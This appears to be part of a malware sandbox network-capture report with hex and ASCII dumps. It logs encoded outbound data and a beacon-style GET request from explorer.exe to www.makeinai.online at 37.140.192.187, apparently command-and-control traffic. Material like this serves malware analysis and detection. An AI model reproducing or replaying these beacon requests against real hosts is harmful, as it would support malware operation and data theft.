Aug 29, 2023 22:46:51.668092012 CEST	1426	OUT	Data Raw: 6b 32 67 6c 74 31 32 56 39 38 37 79 50 39 55 70 59 2b 50 4d 70 68 46 46 6e 57 33 46 55 39 52 34 4c 59 4b 52 39 66 63 41 4f 6a 54 2b 2b 44 6a 6a 45 4a 72 72 47 38 37 6a 43 49 58 6c 51 36 63 58 7a 4b 36 50 51 57 62 2f 4a 5a 44 71 64 5a 43 58 30 5a Data Ascii: k2glt12V987yP9UpY+PMphFFnW3FU9R4LYKR9fcAOjT++DjjEJrrG87jCIXlQ6cXzK6PQWb/JZDqdZCX0ZeMxCa4ey7uy8KWFvSXX/QB5olDpCWgPHXklDYycLbwrPVomgwLYpjUwVnkG7qQBexSGbXkpDRFP2gWuUbUyjNUen5S1OY2gOHLk4PlfaxE0/2+pcyWkKpmI/KNPrMD2fJRh9IhRwbMsyFbgfRKj8ywGaL8ZK+JIc0
Aug 29, 2023 22:46:51.668447018 CEST	1428	OUT	Data Raw: 73 43 49 64 53 31 2b 4a 39 44 54 49 6b 30 56 4b 31 45 59 74 51 43 64 4f 50 48 51 54 72 44 56 69 72 6d 49 57 70 68 4a 68 39 51 5a 54 75 51 73 32 4c 71 62 44 70 42 43 44 37 73 57 2b 63 66 77 4a 73 70 30 48 46 71 45 4d 55 2f 56 2b 70 57 45 79 32 32 Data Ascii: sCIdS1+J9DTIk0VK1EYtQCdOPHQTrDVirmIWphJh9QZTuQs2LqbDpBCD7sW+cfwJsp0HFqEMU/V+pWEy22veaObzLFyl70PHqT2k+6RWEA7H74AE27KXCuEj5Q76r7XMhdKGVpFgrEGd0LpCuUWH8T7A5VK3ltCmk7SCEHmLixWNrxZ8W2llDalSYer2I52czBg0pM1k0RWicnNlbxpM1b0hHyCq52u5bbMHZJdYIoW4HQCnGcC
Aug 29, 2023 22:46:51.668570042 CEST	1431	OUT	Data Raw: 76 33 76 38 6d 56 69 57 42 6b 2f 6d 37 57 43 6a 49 6c 33 6c 37 75 79 52 73 72 41 5a 35 69 42 51 51 76 75 62 35 72 35 44 52 6c 4c 6a 62 4f 6d 52 6c 61 4a 73 50 43 64 74 4e 5a 2f 4d 59 4a 31 75 30 31 44 4a 59 4f 46 76 43 51 2f 4b 32 6f 45 72 38 76 Data Ascii: v3v8mViWBk/m7WCjIl3l7uyRsrAZ5iBQQvub5r5DRlLjbOmRlaJsPCdtNZ/MYJ1u01DJYOFvCQ/K2oEr8vgJRZAdWzWB/KBD4tZkkPq/FvvQq+nl0cKAAjjlV4Ag86QUMzUVM6OTYXlc46hL8RHz9DeuC+SCt0mI8A1S9Lh+dClxTV2Cff8hRoHkAyJQb5Cu6i2CosJPxqcAHRQyOuoYduNWoutHAFgqmGNlciO3OqWPiB0L6AY
Aug 29, 2023 22:46:51.668844938 CEST	1438	OUT	Data Raw: 54 33 39 44 78 59 6a 47 71 78 48 51 6a 76 6d 5a 41 39 6b 6d 30 67 55 70 71 49 4b 61 4c 5a 56 5a 78 55 49 76 30 54 64 45 37 72 48 6c 64 75 34 52 35 34 55 4c 2f 43 34 4e 53 48 66 2b 73 4e 71 66 2b 56 41 43 73 4a 4a 47 70 45 5a 42 39 49 45 72 66 71 Data Ascii: T39DxYjGqxHQjvmZA9km0gUpqIKaLZVZxUIv0TdE7rHldu4R54UL/C4NSHf+sNqf+VACsJJGpEZB9IErfqfjlRONYa9hCHH60FtXYYR2sNdyCGnwjNqojWHTGzesGmnO8T0wddAGVyblkd/dKc2V2nTd/CTFmy5qU6kQ5b6ymuXRvg8QLlk/GX2WrArLZQXNajcC/dcWwxO3rbcF3rCwQXMz1TImYTZgutf7vnsmupHgkexKJZF
Aug 29, 2023 22:46:51.797154903 CEST	1440	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 4b 73 23 49 92 30 76 ff 7e 05 88 b5 66 01 53 09 54 be 13 09 34 ba a6 87 53 bd 35 da ee e9 b6 e9 9e 5a 93 6a cb 68 49 20 41 a2 0b 44 52 40 82 ac 2a 16 65 32 1d f4 3f 74 d4 6d 0f fa cc a4 83 2e fa 05 b3 ff 48 ee f1 ce 17 10 89 04 c9 39 c0 a6 a7 08 cf 8c 70 f7 70 f7 f0 f0 f0 8c c7 b7 27 d3 64 92 7e be 89 5b 57 e9 f5 e2 bb 6f f1 df d6 22 5a 5e 8e db ab 4d bb 35 59 44 eb f5 b8 3d 5f 9f 47 d3 e8 26 9d df c6 ed d6 34 4a a3 de 4d b4 8c 17 bd cd 6a 31 6e 5f a5 e9 cd 7a f8 ea d5 3a 5e dd c6 ab 30 ec 5f 25 eb 74 be bc ec af 62 f8 ff e6 d5 75 b4 8c 2e e3 55 1b 90 c7 d1 f4 bb 6f af e3 34 6a 4d ae a2 d5 3a 4e c7 ed bf ff f6 43 6f d0 66 4f 97 d1 75 3c 6e df ce e3 bb 9b 64 95 02 f9 64 99 c6 4b 28 75 37 9f a6 57 e3 69 7c 3b 9f c4 3d 02 18 f3 e5 3c 9d 47 8b de 7a 12 2d e2 b1 95 45 b1 4a 2e 92 74 ad 20 58 26 f3 e5 34 fe 04 a5 d2 79 ba 88 bf fb c7 ff f1 5f ff db 7f fd af ff f8 cf 7f fc bf ff f8 bf ff eb 7f ff c7 7f b6 e0 c7 7f 3f 5d 5e ac 6f 46 f0 eb 3f ff f1 ff fc e3 ff fa c7 7f c7 5f df be a2 15 be 5d a7 9f 17 71 eb 3a 9e ce a3 71 3b 5a 2c da df fd f1 63 fc 79 b6 02 7a eb d6 75 72 1b 9f 2d 92 cd 74 7d 6f 7e 73 7f 11 4d 3e 5e ae 92 cd 72 da bb 49 d6 c0 66 b2 1c 5a a6 79 7b d7 72 bc 6f 1e d2 a4 b4 40 cf 32 3d 56 e2 21 8f 79 9e 7e d6 c4 6e 40 bb d3 e4 da 98 40 ab e3 55 8b 42 2d c7 b9 bd da 4d 77 4b dd 87 fe 05 a8 fc 32 be 9f ce d7 37 8b e8 f3 70 b6 88 3f 8d f0 9f de 74 be 8a 27 04 d3 24 59 6c ae 97 23 a2 1e e4 e8 9b d1 f5 7c 49 b5 35 74 6c f3 e6 d3 e8 2a 9e 5f 5e a5 f4 dd 4d 34 9d 82 95 0c 7d 78 d1 32 5b e6 e8 3a 5a 5d ce 97 43 73 34 03 a5 0d 2d 1b 1e 7f bf 02 0d 1b 6f e3 c5 6d 9c ce 27 51 eb af f1 26 96 a0 f1 c3 2a 8e 7f 8d 96 6b 63 0d ff f4 c0 fe e6 b3 91 6c e2 f0 5f 66 b3 d9 08 98 4a 56 c3 7f 71 7c 17 fe 1b f5 ee e2 8b 8f f3 b4 97 46 37 bd 2b e0 65 81 fc f4 68 99 74 05 58 6e a2 15 b4 fe 01 bb c1 70 99 a4 9d be 62 fa dd 16 97 02 e8 64 35 5b 24 77 bd 4f c3 ab f9 74 1a 2f 1f fe 48 0c a3 d5 91 2d b6 4c db bd f9 d4 bd 57 31 6c 41 c0 25 7c 8e 9d f1 1c d8 f8 08 c2 b9 47 74 52 68 a0 88 4c a9 78 b5 4a 56 14 21 97 a6 b9 83 f5 f3 eb 78 b9 e9 61 61 54 19 bc 9f c6 53 a3 7e 95 5e 34 c1 32 9c 6c 2f 4d 6e 80 74 3d 21 94 e1 cd 21 7c a8 c9 82 85 56 76 00 36 ca 9b b7 cb 2a 32 a5 15 db 0f 43 1f b8 da 21 64 78 33 9f 7d ee 5d ac 92 3b 30 e4 f3 db f9 7a 7e b1 c8 e2 f4 dc da 8d db c1 53 a9 3c 74 39 91 ca 49 2e e6 8b b8 c7 6d fa 9c 5a b4 c1 5f af 37 17 28 e2 f3 e4 26 5e 82 86 79 31 6e f8 3b e4 72 3e 4b 12 f0 46 bd 69 72 b7 dc 69 a8 e5 8c ec a8 55 c5 1f 6b 78 5d 73 da 85 ae b6 79 96 36 aa 04 6f 7f 2e d5 ce dd f4 c5 22 99 7c 7c 28 93 e5 3d 3a ef a1 05 9e 37 da a4 c9 28 af 15 05 59 b6 5a d6 23 7d 53 b7 35 19 5c 25 6d 28 29 76 2e 9a ce 4d b1 50 2f 5f 0d 1a 51 4e b2 c7 02 02 61 cd 74 90 83 ce 5d 85 82 82 42 a0 cb 64 a9 90 63 d8 7a 77 ab e8 e6 06 4a f1 21 8c c8 b4 b2 d8 39 09 25 ce 31 20 51 38 59 11 99 a2 e8 f8 d0 d8 5b c4 33 fa 44 0f d5 f9 32 be cb a1 73 07 79 74 f8 64 67 9f cb b7 ab 86 1f ab d3 58 33 cb 5a ed 01 64 2b 9f 5a 35 6a 71 57 bb e9 64 90 66 d1 70 6f 9d 46 10 b4 30 16 07 e6 1e 03 55 6d fc d2 6c f8 f0 a6 76 5f 0c bc 8a 51 d8 62 be 4e 7b 44 2a 3d 44 4f 0d 7e 57 c3 05 7a 11 86 88 68 ae d5 b3 3c 8a ba 76 73 f5 b0 16 1b 29 bb 63 2e fc 94 78 94 40 98 05 Data Ascii: c000Ks#I0v~fST4S5ZjhI ADR@e2?tm.H9pp'd~[Wo"Z^M5YD=_G&4JMj1n_z:^0_%tbu.Uo4jM:NCofOu<nddK(u7Wi\|;=<Gz-EJ.t X&4y_?]^oF?_]q:q;Z,cyzur-t}o~sM>^rIfZy{ro@2=V!y~n@@UB-MwK27p?t'$Yl#\|I5tl_^M4}x2[:Z]Cs4-om'Q&kcl_fJVq\|F7+ehtXnpbd5[$wOt/H-LW1lA%\|GtRhLxJV!xaaTS~^42l/Mnt=!!\|Vv62C!dx3}];0z~S<t9I.mZ_7(&^y1n;r>KFiriUkx]sy6o."\|\|(=:7(YZ#}S5\%m()v.MP/_QNat]BdczwJ!9%1 Q8Y[3D2sytdgX3Zd+Z5jqWdfpoF0Umlv_QbN{D*=DO~Wzh<vs)c.x@
Aug 29, 2023 22:46:51.797261000 CEST	1441	IN	Data Raw: 88 33 7b e6 ce 42 ed 96 96 d0 a0 66 b7 6f 23 2b 11 96 b4 8f cc 48 c0 81 27 51 3a 44 db a4 11 73 60 9a 2d 6c e6 2b c7 dc 2f 74 5e cc 97 31 37 0e 6f a0 7a 9d 2c e5 1e 14 fc 78 9f c6 9f d2 de 34 9e 24 ab 88 44 ff 59 cf 58 52 63 78 85 7e bb 50 0f 74 Data Ascii: 3{Bfo#+H'Q:Ds`-l+/t^17oz,x4$DYXRcx~PttUem1weEy_*^D(lG+vs\|R<&5""#ATT__bilwxS%Cj)52.F3u%hsvXf
Aug 29, 2023 22:46:51.797317982 CEST	1442	IN	Data Raw: 1e 42 de 44 6c a2 bc 08 26 e6 a4 b4 c4 f9 34 5a 7d 94 bb 2d 43 37 32 2f fc 5c 41 72 62 8c a0 14 06 83 60 50 60 e6 0a 1a c9 b9 61 50 ae cc c5 65 ef 73 bc 58 24 77 72 bf 5e cb 6c 41 d8 dd c2 ed b4 b9 13 78 bc 69 9e db 34 49 16 e9 fc 46 36 d8 8f 4d Data Ascii: BDl&4Z}-C72/\Arb`P`aPesX$wr^lAxi4IF6MS9Y%\Od5!{]`0]Cxz+57:*E;T78[07JxVw/)4mHV($8gVl=[Iqz12]%r0M
Aug 29, 2023 22:46:51.797421932 CEST	1443	IN	Data Raw: f3 3c 91 79 63 fd f0 80 58 6d cf 33 c4 e3 8d 7d 40 3e fc 2d b4 e7 79 a2 f0 da 03 0d 8b 99 35 c2 20 ad d8 3b 23 86 67 0b bb 8b 5c 3c 43 c4 bd 3b 04 d3 0b b6 a1 31 25 71 f6 be 07 2b 14 02 e0 c5 e5 73 86 df 8b b2 25 c0 4d c2 ef 42 73 9e 25 fc de d9 Data Ascii: <ycXm3}@>-y5 ;#g\<C;1%q+s%MBs%,[m;P/.;%~/I]<}5bk#5Ls>n9n~7U5<s]{<"~QM.sp%g0/mDZ
Aug 29, 2023 22:46:51.797477961 CEST	1445	IN	Data Raw: f8 7d af e2 f2 58 e8 4b cb 9c cf 56 c9 f5 fd 22 4e a1 1f 13 34 f4 e2 0b 32 13 d9 77 2a b4 c5 85 2a 44 7b 78 7b 87 7a 6d c7 9e 17 97 48 ac d1 75 b2 59 92 0b 2a 04 99 58 3d 85 39 6c 90 79 29 35 29 f5 82 17 c0 0f 3a aa 68 ba 1a da d0 80 ed a1 92 4b Data Ascii: }XKV"N42w*D{x{zmHuYX=9ly)5):hK{.5)]&UU0`\|`i@K(P0psL9}>h_&h+W1V3qCHs<ds&ZjJk>g>+u'0_l@<~a>^G
Aug 29, 2023 22:46:51.797530890 CEST	1446	IN	Data Raw: b9 fa d4 1e 5f c1 db a8 1d 5a bf e5 b4 0e 1b f7 e9 71 52 75 2d 66 83 f8 ae 11 e1 26 e1 ce 41 09 eb 47 41 75 c8 d6 14 70 a1 f7 d4 16 f0 93 0b f6 b9 04 fa 24 51 a6 1e 67 f9 8b 58 1b 04 9d 7b 11 dc 3f 8e 38 08 39 fd c0 42 8f 5c ee 9a d3 06 11 ea 3e Data Ascii: _ZqRu-f&AGAup$QgX{?89B\>[Z4,n8Vbcna[ebDem+.[!6M6 i45z{N>*8FI= AO)Bd7y84 HG`m},I
Aug 29, 2023 22:46:51.797724009 CEST	1447	IN	Data Raw: 61 81 30 b6 df 57 90 97 b0 34 fa 9d 51 41 39 ab 94 6e bd 4b a8 34 11 96 8a 89 9b be b8 c4 a1 d8 29 b2 bd a7 a4 a7 ab 3e 48 5e 07 b5 93 14 bb 7e 8c 1c 9d 4e 69 f4 b2 67 94 62 db 52 e8 34 cb 4b bc f1 2f b9 53 ce 8e cf bc a2 67 b4 67 ee 4b a0 57 21 Data Ascii: a0W4QA9nK4)>H^~NigbR4K/SggKW!hefBg,Me,>nZ8qpR/cm)gul?OMRa,XGn7;g-Xi]zhu>A-8s<7Y$)oQ(dj}{
Aug 29, 2023 22:46:51.797785044 CEST	1449	IN	Data Raw: d1 0f 87 ad f9 72 36 5f 42 a8 b9 25 90 2e 1f b5 4b 11 fb 25 88 f5 03 ec 86 84 6a 34 41 86 25 c5 2f aa c7 18 e4 18 83 1c 63 90 63 0c 72 8c 41 8e 31 c8 31 06 d9 3b 06 31 f2 2b 93 d8 57 5c b1 be ca d0 1c 68 fd 81 29 07 5a d7 71 5e b4 6e e7 f1 dd 9f Data Ascii: r6_B%.K%j4A%/ccrA11;1+W\h)Zq^nO>}<g%1J7ol]?_8^n6LL%8m+pzf]Th+odVN~<LJMrdp:EUh}t*tDf
Aug 29, 2023 22:46:51.798051119 CEST	1450	IN	Data Raw: 66 60 1b 86 4b a0 ef 5a 4a c7 03 d8 74 94 8e e7 c2 90 e3 d8 52 7b 14 2e 6a 8f 97 e3 5a e1 78 14 18 e8 bc a3 64 a5 f2 38 57 02 0d e3 3a db 3a 45 7b 81 09 ed f7 a5 f6 28 2c b5 e3 73 a3 e5 b0 0b f2 75 15 18 06 34 57 51 9f 47 12 56 8a 7c 39 cc e5 cf Data Ascii: f`KZJtR{.jZxd8W::E{(,su4WQGV\|9`^_}^_k`GK}c:K!Fz+0z_Er\1wJa\g[BWqp0~/@*$V\|032+LYP9s++yR\'
Aug 29, 2023 22:46:51.798109055 CEST	1451	IN	Data Raw: 55 17 ac 65 58 57 f4 16 40 68 15 06 05 bd d1 c7 42 51 00 d2 f5 7f 02 b4 30 3c 04 e2 30 31 16 7a 0b 00 85 2f 3d 64 80 9e c1 92 7a a3 70 51 6f a2 1c d3 87 40 c3 61 42 e5 1d a3 2a f5 26 98 e2 78 38 cf 99 a6 29 7a 83 b1 0e 3c ae d4 1b 85 85 6a 42 a6 Data Ascii: UeXW@hBQ0<01z/=dzpQo@aB*&x8)z<jBwZ} `IM%` VDeYuYsEm!vAiP7U)FF\|ER2QBEQRe)r4\=E1=Opf1Y=F&DeW99qZ]2a
Aug 29, 2023 22:46:51.850330114 CEST	1453	IN	Data Raw: 97 ea c2 05 d1 20 2e 15 f6 70 f5 36 0c 73 10 79 49 f5 85 38 b1 f1 a4 fa 42 53 aa 2e 34 8b 6a 0b 4d a9 22 56 57 85 7d 5c 0f 4f 69 49 95 31 5e 24 0e 26 ca 6c 9b 84 ca 70 ca 19 78 d2 5d 32 58 a8 04 57 01 db 8e ad c0 26 d9 3b 2c 60 13 a2 4f 4b ba 4b Data Ascii: .p6syI8BS.4jM"VW}\OiI1^$&lpx]2XW&;,`OKK\to) *pR}hR_d\Yx#sC&Sdr\'wKa\|'unf zxu3y}^{E}n[R]XUk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	50023	37.140.192.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:54.140109062 CEST	1507	OUT	GET /aw8o/?5Nag0d=Z2SlshpjDmCLPst06Qi+JFXKDGQYf8gROk5BMlMdRNl1FjrvM4bV9ulbwCJKqwnS3126m2Ov8Vo6zIoHm7sQKyRsJClYwnnytw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.makeinai.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:46:54.217916012 CEST	1508	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 66 65 62 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 64 61 74 61 2d 70 61 6e 65 6c 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 73 65 72 76 65 72 39 39 2e 68 6f 73 74 69 6e 67 2e 72 65 67 2e 72 75 2f 6d 61 6e 61 67 65 72 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 26 6e 62 73 70 3b d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 40 6b 65 79 66 72 61 6d 65 73 20 6d 6f 76 65 43 6c 6f 75 64 73 7b 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 76 77 20 33 35 25 7d 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 35 76 77 20 33 35 25 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 6f 76 65 43 69 74 79 43 6c 6f 75 64 73 7b 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 76 77 20 33 35 25 2c 62 6f 74 74 6f 6d 2c 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 20 33 33 76 68 7d 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 35 76 77 20 33 35 25 2c 62 6f 74 74 6f 6d 2c 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 20 33 33 76 68 7d 7d 2e 62 2d 70 61 67 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 36 30 70 78 20 30 20 30 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 31 32 70 78 20 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 65 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 33 36 34 33 36 34 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 2e 69 73 5f 61 64 61 70 74 69 76 65 29 20 2e 62 2d 70 61 67 65 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 69 73 5f 61 64 61 70 74 69 76 65 20 2e 62 2d 70 61 67 65 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 7d 2e 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 62 2d 70 61 67 65 5f 74 79 70 65 5f 65 72 72 6f 72 2d 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 3a 6e 6f 74 28 2e 69 73 5f 61 64 61 70 74 69 76 65 29 20 2e 62 2d 70 61 67 65 5f 6d 65 6e 75 2d 61 64 64 69 74 69 6f 6e 5f 61 64 64 65 64 2c 68 74 6d 6c 3a 6e 6f 74 28 2e 69 73 5f 61 64 61 70 74 69 76 65 29 20 2e 62 2d 70 61 67 65 5f 6d 65 6e 75 2d 61 64 64 69 74 69 6f 6e 5f 61 64 64 65 64 2d 61 63 74 69 76 65 7b 70 61 64 64 69 Data Ascii: feb2<!doctype html><html lang="ru" class="is_adaptive" data-panel-url="https://server99.hosting.reg.ru/manager"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex"><title>  </title><style media="all">@keyframes moveClouds{0%{background-position:100vw 35%}to{background-position:-105vw 35%}}@keyframes moveCityClouds{0%{background-position:100vw 35%,bottom,center bottom 33vh}to{background-position:-105vw 35%,bottom,center bottom 33vh}}.b-page{display:flex;flex-direction:column;width:100%;min-width:320px;height:100%;padding:60px 0 0;margin:0;font:12px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;background:#fff;color:#364364;-webkit-tap-highlight-color:transparent}html:not(.is_adaptive) .b-page{overflow-x:hidden}@media (min-width:1024px){.is_adaptive .b-page{overflow-x:hidden}}.b-page_type_parking{min-height:100vh}.b-page_type_error-page{padding:0}html:not(.is_adaptive) .b-page_menu-addition_added,html:not(.is_adaptive) .b-page_menu-addition_added-active{paddi
Aug 29, 2023 22:46:54.217988014 CEST	1509	IN	Data Raw: 6e 67 2d 74 6f 70 3a 30 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 69 73 5f 61 64 61 70 74 69 76 65 20 2e 62 2d 70 61 67 65 5f 6d 65 6e 75 2d 61 64 64 69 74 69 6f 6e 5f 61 64 64 65 64 7b 70 61 64 64 69 6e Data Ascii: ng-top:0}@media (min-width:1024px){.is_adaptive .b-page_menu-addition_added{padding-top:0}}.b-page_menu-addition_added-active{padding-top:120px}@media (min-width:1024px){.is_adaptive .b-page_menu-addition_added-active{padding-top:0}}html:not(.
Aug 29, 2023 22:46:54.218373060 CEST	1511	IN	Data Raw: 70 65 72 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: per{margin:0 auto}.b-page__content-wrapper_style_indent{padding-right:24px;padding-left:24px}.b-page__content-wrapper_style_indent_new{padding-right:48px;padding-left:48px}html:not(.is_adaptive) .b-page__content-wrapper{width:996px}html:not(.i
Aug 29, 2023 22:46:54.218442917 CEST	1512	IN	Data Raw: 62 2d 70 61 67 65 5f 5f 61 64 64 69 74 69 6f 6e 2d 74 69 74 6c 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 62 2d 70 61 67 65 5f 5f 61 64 64 69 74 69 6f 6e 2d 74 69 74 6c Data Ascii: b-page__addition-title-link:hover{text-decoration:underline}.b-page__addition-title .b-title{display:inline}.b-page__addition-item{position:relative;float:right;padding-right:15px;padding-left:15px}.b-page__addition-item_padding_double{padding
Aug 29, 2023 22:46:54.218931913 CEST	1513	IN	Data Raw: 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 65 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 34 70 78 7d 2e 62 2d 74 65 78 74 5f 73 69 7a 65 5f 67 69 61 6e 74 2d 63 6f 6d 70 61 63 74 2e 62 2d Data Ascii: eue,Helvetica,FreeSans,sans-serif;margin-bottom:84px}.b-text_size_giant-compact.b-text_margin_top,.b-text_size_giant.b-text_margin_top{margin-top:84px}.b-text_size_giant-compact{font:72px/78px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif
Aug 29, 2023 22:46:54.219010115 CEST	1515	IN	Data Raw: 62 6f 74 74 6f 6d 3a 33 30 70 78 7d 2e 62 2d 74 65 78 74 5f 73 69 7a 65 5f 6d 65 64 69 75 6d 2d 63 6f 6d 70 61 63 74 2e 62 2d 74 65 78 74 5f 6d 61 72 67 69 6e 5f 74 6f 70 2c 2e 62 2d 74 65 78 74 5f 73 69 7a 65 5f 6d 65 64 69 75 6d 2e 62 2d 74 65 Data Ascii: bottom:30px}.b-text_size_medium-compact.b-text_margin_top,.b-text_size_medium.b-text_margin_top{margin-top:30px}.b-text_size_medium-compact{font:20px/24px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:30px}.b-text_size_norma
Aug 29, 2023 22:46:54.219067097 CEST	1516	IN	Data Raw: 63 61 2c 46 72 65 65 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 34 70 78 7d 68 74 6d 6c 3a 6e 6f 74 28 2e 69 73 5f 61 64 61 70 74 69 76 65 29 20 2e 62 2d 74 65 78 74 5f 73 69 7a 65 5f 68 75 67 65 Data Ascii: ca,FreeSans,sans-serif;margin-bottom:84px}html:not(.is_adaptive) .b-text_size_huge\@desktop{font:48px/60px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:60px}html:not(.is_adaptive) .b-text_size_huge-compact\@desktop.b-text_m
Aug 29, 2023 22:46:54.219121933 CEST	1517	IN	Data Raw: 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 65 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 36 70 78 7d 68 74 6d 6c 3a 6e 6f 74 28 2e 69 73 Data Ascii: Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:36px}html:not(.is_adaptive) .b-text_size_medium\@desktop{font:20px/30px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:30px}html:not(.is_adaptive) .b-text_size_
Aug 29, 2023 22:46:54.219197035 CEST	1519	IN	Data Raw: 74 65 78 74 5f 73 69 7a 65 5f 73 6d 61 6c 6c 2d 63 6f 6d 70 61 63 74 5c 40 64 65 73 6b 74 6f 70 7b 66 6f 6e 74 3a 31 32 70 78 2f 31 32 70 78 20 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 48 65 6c 76 65 74 69 63 61 2c 46 72 65 Data Ascii: text_size_small-compact\@desktop{font:12px/12px Arial,Helvetica Neue,Helvetica,FreeSans,sans-serif;margin-bottom:18px}html:not(.is_adaptive) .b-text_margin_none\@desktop{margin:0}@media (min-width:1024px){.is_adaptive .b-text_size_giant\@deskt
